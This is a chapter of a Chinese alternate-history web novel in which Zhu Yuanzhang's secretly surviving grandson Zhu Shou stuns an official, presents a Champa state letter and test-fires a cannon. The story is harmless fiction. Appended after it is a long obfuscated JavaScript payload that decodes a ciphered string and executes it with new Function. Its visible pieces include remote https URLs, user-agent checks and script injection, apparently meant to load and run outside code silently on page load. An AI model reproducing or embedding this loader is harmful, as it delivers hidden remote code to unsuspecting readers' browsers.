第一百六十六章 献上国书,张永卖子(1 / 1)
大明:不装了,你爷爷我是朱元璋
天下大同
1189 字
2022-05-01
这一刻,工部尚书沈溍的脑瓜子,嗡嗡作响。 做梦也没想到,陛下居然是朱寿朱公子的爷爷! 不 不对! 本官也没听说,有哪位大明皇孙流落在外啊! 正满心疑惑之时,一旁的朱标迈步迎上前去,大笑叫道:“寿儿,几日不见,想死爹了呐!” “来,乖儿子,跟爹抱一个!” 啥? 朱寿管太子殿下叫爹?! 沈溍瞬间面色大骇,两腿震撼的直发软,噗通一下,顺势跌坐在了地上。 明白了! 一切全明白了! 太子殿下的嫡次子朱允熥、庶长子朱允炆,尽在宫中! 唯有嫡长子朱雄英八岁薨了,下葬紫金山陵! 呸! 薨个屁! 朱寿…… 明摆着是皇长孙朱雄英啊! 此时,眼看他跌倒于地,朱寿连忙上前扶起,诧异地问:“呀,沈大人,你这是咋了?” 沈溍回过神来,深吸了一口气,尴尬地道:“朱……朱公子……“ “在下腿脚不便,想坐下来歇歇,嗯对,歇歇……” 话音刚落,朱元璋面上涌起一抹似笑非笑,问道:“沈大人,你不是向陛下谏言,要为咱的孙儿讨个爵位吗?” “敢问这爵位,到底求没求下来啊?” 一旁的朱标也不嫌事大,连忙点头道:“是啊,沈大人!” “有爵位好啊,世袭罔替呢!” “陛下若是封赏寿儿一个爵位,我老朱家门楣大兴,也可摆脱商籍了!” 一下子,沈溍听得脸都绿了。 陛下! 太子殿下! 您们爷俩,一点也不地道啊! 事情都到这个份上了,还合起伙来挤兑臣呢? 居嫡长者,必正储位! 皇长孙乃是隔代储君,臣纵然开口求一个国公之位,也是万不敬的呀! 臣怕了,怕了呐! 他脸色一变,疯狂摇起头来,大义凛然地道:“朱老爷子莫闹,求爵?求什么爵?” “在下早已答应过朱公子,不再为他谋爵的啊!” “一言既出,万马难追!” 朱元璋也不含糊,立马露出一副痛心疾首的样子,叹道:“哎,可惜了……” 朱标倒是看向了朱寿,眼神瞪的滚圆,借机发难:“逆子!害的咱家错失封爵之机,找打!” 说罢,抄起鞋底,作势欲揍。 “且慢!” 朱寿吓得一激灵,忙抬手岔开了话题,大叫道:“混账老爹,君子动口不动手!” “孩儿还有事找你和老头子呢!” “啥事?” “占城国太子,欲献大礼于陛下!” 咦? 占城国献礼? 还是大礼? 朱标一下停住了脚步,心里失落之余,忍不住皱眉问:“是何大礼?” 朱寿转头一瞅后院,放声大吼:“胡青礼,给本少爷滚出来!” “少爷!” “来啦,小人来啦!” 话音刚落,一身下人打扮的胡青礼,转瞬窜进了院子。 一见到朱元璋,他畏惧的心里直突突,立马乖巧地行起大礼,道:“奴婢见过朱老爷子!” 朱元璋眉头深皱,问:“你这杀才,咋在寿儿的府上?” 胡青礼不敢怠慢,连忙道:“回朱老爷子,少爷胸襟似海,宽恕了奴婢的罪过,还收留奴婢于府上,专司掏粪!” 专司掏粪…… 朱元璋父子对视一眼,嘴角一阵抽搐。 寿儿御人的手段,这么奇葩? 竟叫一国之太子掏粪玩? 至于朱寿,则是气的踹了胡青礼一脚,骂骂咧咧地道:“你这混账,说这些没用的屁话干甚?” “赶紧把国书掏出来!” “是是是!” 胡青礼忙不迭从怀中掏出一纸国书,两手毕恭毕敬的奉上,恭谨地道:“还望朱老爷子过目!” 朱元璋好奇的接过一看,顿时震惊的目瞪口呆,失声叫道:“六品以上之官员,任大明定夺、选任?” “占城国大定之后,不再设军?” “每年向大明朝贡六十万石粮食?!” 一番话说完,朱标、沈溍也震撼不已! 乖乖! 胡青礼这厮,是把整个占城国给卖了? 尤其是朱标,震惊之余,也转头看向了朱寿,忙问:“寿儿,你把自个的脑疾,传染给占城国太子了?” 朱寿脸色顿时一黑,没好气地道:“混账老爹,孩儿告你毁谤啊!” 一旁的朱元璋咂了咂舌,诧异道:“可若不是患了脑疾,岂会献上此等荒唐的国书?” “朱老爷子,不荒唐啊!” 胡青礼连忙跪地叩首,慷慨激昂地道:“奴婢被少爷点拨之后,如醍醐灌顶,深感大明乃我占城国之不二归宿!” “为大明万年,为占城国之千古,奴婢代占城国,特献上书之求!” “还望朱老爷子收此国书,谏言大明皇帝陛下,出兵解我占城国之倒悬!” 说罢,疯狂跪地磕起头来。 朱元璋心头感慨不已。 寿儿厉害啊! 兵不刃血,变相的就把占城国纳入大明疆土版图了! 他微微颔首,笑呵呵地说道:“也罢也罢,那咱就勉为其难,收下占城国的国书吧!” “回头咱就奏请陛下,发兵灭了安南,去救你占城国!” 胡青礼面色大喜,重重磕了三个响头,大声叫道:“奴婢胡青礼,叩谢朱老爷子大恩!” “行了!” 朱寿大手一挥,不耐烦地道:“既然本少爷给你办完事了,莫要闲着,滚回去掏粪吧!” “是,少爷!” 等胡青礼欢天喜地的跑了,沈溍连忙迈步上前,拱手道:“朱公子,红夷大炮造好了!” “敢问何时打上一炮?” 呀! 大炮造好了? 没啥毛病的话,岂不是可以说动便宜爷爷和混账老爹,前去投奔燕王朱棣了? 朱寿眼前瞬间一亮,激动地道:“择日不如撞日,今日就打!” “老头子,混账老爹,你们也一起来看看吧!” “好好好!” 接着,几人迈步出府,直奔红夷大炮试放的一座荒山。 山脚下的一处空地,架设着一门红夷大炮。 朱寿举目四望之后,眼珠子一转,立马起了玩闹之心,大叫道:“老方何在?” 管家老方点头哈腰地道:“老奴在呢,少爷!” 朱寿大手一挥,一指身前的荒山,吩咐道:“去,六百丈之外站定,本少爷要一炮轰了你这个靶子!” 啊? 当靶子? 老方吓得脸都白了,忙不迭地摆手道:“少爷,不成、不成啊!” “老奴腿脚不便,跑不了那么远啊,不如……” “叫张永来吧!” 说罢,一把拉过旁边的张永,推了出去。 张永脸都绿了! 该死啊! 方管家,您老换个人坑不行? 小人当靶子,少爷这一炮下去,岂有命在? 他脸色一下狂变,立马做出了一个出卖子孙的决定,放声大叫:“少爷,要不小人把儿子绑来,您炮轰小人的孽子?” “不知少爷意下如何?!” 朱寿一下愣了。 卧槽! 本少爷开个玩笑罢了! 张永这厮,居然反手把自个的亲儿子给卖了?!
!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();